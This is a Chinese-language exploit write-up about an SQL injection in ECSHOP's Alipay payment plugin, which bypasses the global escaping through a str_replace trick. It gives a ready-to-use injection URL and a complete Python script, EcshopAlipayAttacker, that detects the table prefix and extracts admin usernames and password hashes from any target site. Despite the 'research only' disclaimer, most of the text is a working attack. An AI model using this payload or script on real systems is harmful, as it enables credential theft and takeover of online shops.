0x00
在\includes\modules\payment\alipay.php文件中,有一個response函數用來處理支付信息,在ECSHOP的init初始化文件中,默認是做了全局轉義的,而這個漏洞的精髓在於繞過全局轉義。
在$order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); 中,使用str_replace函數對$_GET[out_trade_no]中的內容進行替換,替換內容和原字符串都是可控的,所以我們就可以將$_GET[out_trade_no]中的反斜槓做替換,從而繞過單引號。
最終$order_sn變量被帶入check_money()函數,跟進check_money():
這裏看到,$order_sn被帶入了數據庫進行查詢,造成了注入漏洞。
0x01
EXP:
127.0.0.1/ecshop/upload/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)%23
打印出SQL語句:
SELECT order_amount FROM `ecshop1`.`ecs_pay_log` WHERE log_id = '\\' and (select * from (select count(*),concat(floor(rand()*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b)#'
注意到,$log_id變量(也就是$order_sn)變成了\\ ,這是因爲提交的out_trade_no經過轉義變成了\0\’ ,通過控制subject變量(0),帶入函數str_replace中變成了:
str_replace(‘0’,’’,”\0\’”)
通過函數的替換,最終$order_sn就變成了\\,從而繞過了單引號轉義。
測試結果:
0x02
相應的Exp如下。在調試這個exp的時候出現了很多問題,比如Ecshop中使用報錯注入很多次才能爆出結果,需要設置重試次數才行,另外,很多網站是改了Ecshop默認的表前綴的,在爆出admin信息之前必須要先把表前綴搞定,廢話不多說,直接貼代碼了(代碼有一定的攻擊性,僅供安全研究與交流,請勿用於非法用途)
#coding=utf-8
'''Powered By Exploit
Ecshop支付寶插件注入漏洞:
/includes/modules/payment/alipay.php
'''
import requests
import urllib
import sys
import re
class EcshopAlipayAttacker():
'''
獲取標準url
@param url 需要轉化的url
'''
def get_standard_url(self,data,url):
if url.count("http") != 0:
if url[-1] == '/': #http://www.xxoo.com/
url = "%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
else: #http://www.xxoo.com
url = "%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
else:
if url[-1] == '/': #www.xxoo.com/club/
url = "http://%s%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
else: #www.xxoo.com/club
url = "http://%s/%s" % (url,urllib.quote(data,"?@`[]*,+()/'&=!_%"))
return url
'''
獲取表前綴
@param url 目標主機的url
'''
def get_table_pre(self,url):
data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(table_name) from information_schema.tables where table_schema=database() limit 1))a from information_schema.tables group by a)b)%23"
url = self.get_standard_url(data,url)
retry_count = 5 #重試5次
pattern = re.compile(r"Duplicate entry '[0,1]?(.+?)[0,1]?'")
while retry_count:
try:
r = requests.get(url)
ret = pattern.findall(r.content)
except Exception, e:
print e
continue
if ret != []:
if ret[0].count('ecs') != 0:
return 'ecs'
else:
return ret[0][0:ret[0].index('_')]
else:
retry_count -= 1
continue
return None
'''
注入攻擊代碼
@param url 目標主機的url
@param count 爆數據的參數,default=0
@param table_pre 數據庫表前綴
'''
def respond_exploit(self,url,count=0,table_pre='ecs'):
table_pre = self.get_table_pre(url)
if table_pre is None:
return None
data = "respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from {table_pre}_admin_user limit 1))a from information_schema.tables group by a)b)%23".format(table_pre=table_pre)
url = self.get_standard_url(data,url)
retry_count = 5
pattern = re.compile(r"Duplicate entry '[1,0]?(.+?)[1,0]?'")
while retry_count:
r = requests.get(url)
ret = pattern.findall(r.content)
if ret != []:
break
else:
retry_count -= 1
continue
return ret
if __name__ == '__main__':
attacker = EcshopAlipayAttacker()
#---------------測試用(均有漏洞)-----------------
url = <a target=_blank href="http://www.target.com">http://www.target.com</a>
#--------------------------------------------------
infos = attacker.respond_exploit(url)
if infos is None:
print 'This website may be not vulnerable'
else:
print 'Exploit Success!\ninfos:{infos}'.format(infos=infos)